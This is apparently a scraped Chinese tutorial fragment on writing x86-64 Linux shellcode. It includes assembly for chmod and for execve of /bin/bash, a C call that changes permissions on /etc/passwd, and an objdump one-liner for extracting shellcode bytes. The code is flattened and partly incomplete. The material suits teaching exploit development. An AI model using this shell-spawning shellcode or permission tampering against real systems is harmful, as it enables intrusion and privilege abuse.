当前位置:首页 > 经验 >

shellcode执行方式(shell脚本的执行方法)

来源:原点资讯(www.yd166.com)时间:2022-11-07 08:13:07作者:YD166手机阅读>>

在分析open函数时有讨论mode的取值,这里就不再分析
有时在shellcode中需要修改程序的权限

#include <sys/types.h> #include <sys/stat.h> main() { chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH); }

section .data CHMOD equ 90 EXIT equ 60 FILENAME db "xxx", 0x00 section .text global _start _start: mov rax, CHMOD mov rdi, FILENAME mov rsi, 511 syscall mov rax, EXIT mov rdi, 0 syscall 0x6 命令执行

system函数中的命令执行用的是syscall execve系统调用。其参数格式如下

shellcode执行方式,shell脚本的执行方法(13)

调试system函数内部的参数调用可以看出rax是系统调用号,rdi是filename,rsi是字符串数组

shellcode执行方式,shell脚本的执行方法(14)

字符串数组内存布局如下

shellcode执行方式,shell脚本的执行方法(15)

section .data EXECVE equ 59 FILENAME db "/bin/bash", 0x00 section .text global _start _start: mov rax, EXECVE mov rdi, FILENAME mov rsi, 0 mov rdx, 0 syscall mov rax, EXIT mov rdi, 0 syscall 0x7 shellcode 提取技巧

这里参照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

shellcode执行方式,shell脚本的执行方法(16)

栏目热文

shellcode到底是啥(shellcode使用教程)

shellcode到底是啥(shellcode使用教程)

零基础学黑客领资料搜公众号:白帽子左一因前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅...

2022-11-07 08:17:00查看全文 >>

shellcode生成可执行文件(shell脚本怎么变成可执行文件)

shellcode生成可执行文件(shell脚本怎么变成可执行文件)

原创: EDI-VOID 合天智汇0x00 shellcode编写首先shellcode的编写可以用纯汇编也可以用c ...

2022-11-07 08:36:40查看全文 >>

shellcode编码(shellcode代码)

shellcode编码(shellcode代码)

前言在做红蓝攻防时,常常要用到cs、msf等工具,使用工具生成shellcode或可执行程序,那么小小的shellcod...

2022-11-07 08:22:18查看全文 >>

shellcode执行原理(shellcode安装)

shellcode执行原理(shellcode安装)

缓冲区溢出属于非常有名的漏洞之一,其大体含义为:缓冲区溢出是超出程序内存设定范围,数据溢出后程序发生异常,黑客可以利用缓...

2022-11-07 08:22:14查看全文 >>

shellcode生成器(shellcode使用教程)

shellcode生成器(shellcode使用教程)

关于GSHELLGShell是一款功能强大且支持灵活扩展的跨平台Shell生成器,在该工具的帮助下,广大研究人员可以随意...

2022-11-07 08:32:58查看全文 >>

shellcode类书(shell编程零基础的书籍)

shellcode类书(shell编程零基础的书籍)

书籍简介黑客与渗透测试编程之道本书是畅销书《Python 灰帽子—黑客与逆向工程师的 Python 编程之道》的姊妹篇,...

2022-11-07 08:07:13查看全文 >>

shellcode应该放在哪(shellcode使用教程)

shellcode应该放在哪(shellcode使用教程)

在开始今天课程之前,先回忆下上一讲在结束时,我提出的windows平台下的几个关键问题:1:缓冲区距离返回地址间的距离确...

2022-11-07 08:38:25查看全文 >>

通用shellcode编写实例(shellcode执行原理)

通用shellcode编写实例(shellcode执行原理)

1)编写 hello world 脚本#!/bin/bash # 编写hello world脚本 echo "...

2022-11-07 08:06:54查看全文 >>

shellcode怎么写(shellcode开发)

shellcode怎么写(shellcode开发)

这是2008年写的文章, 没有正式发表过,里面使用的环境不记得是i386Linux还是AMD64的Linux了。其实,叫...

2022-11-07 08:12:49查看全文 >>

shell脚本原理(shell脚本 基本知识)

shell脚本原理(shell脚本 基本知识)

Spring框架最新的PoC这两天出来的一个RCE漏洞,但是有以下的条件限制才行:必须是jdk9及以上必须是部署在tom...

2022-11-07 08:01:55查看全文 >>

文档排行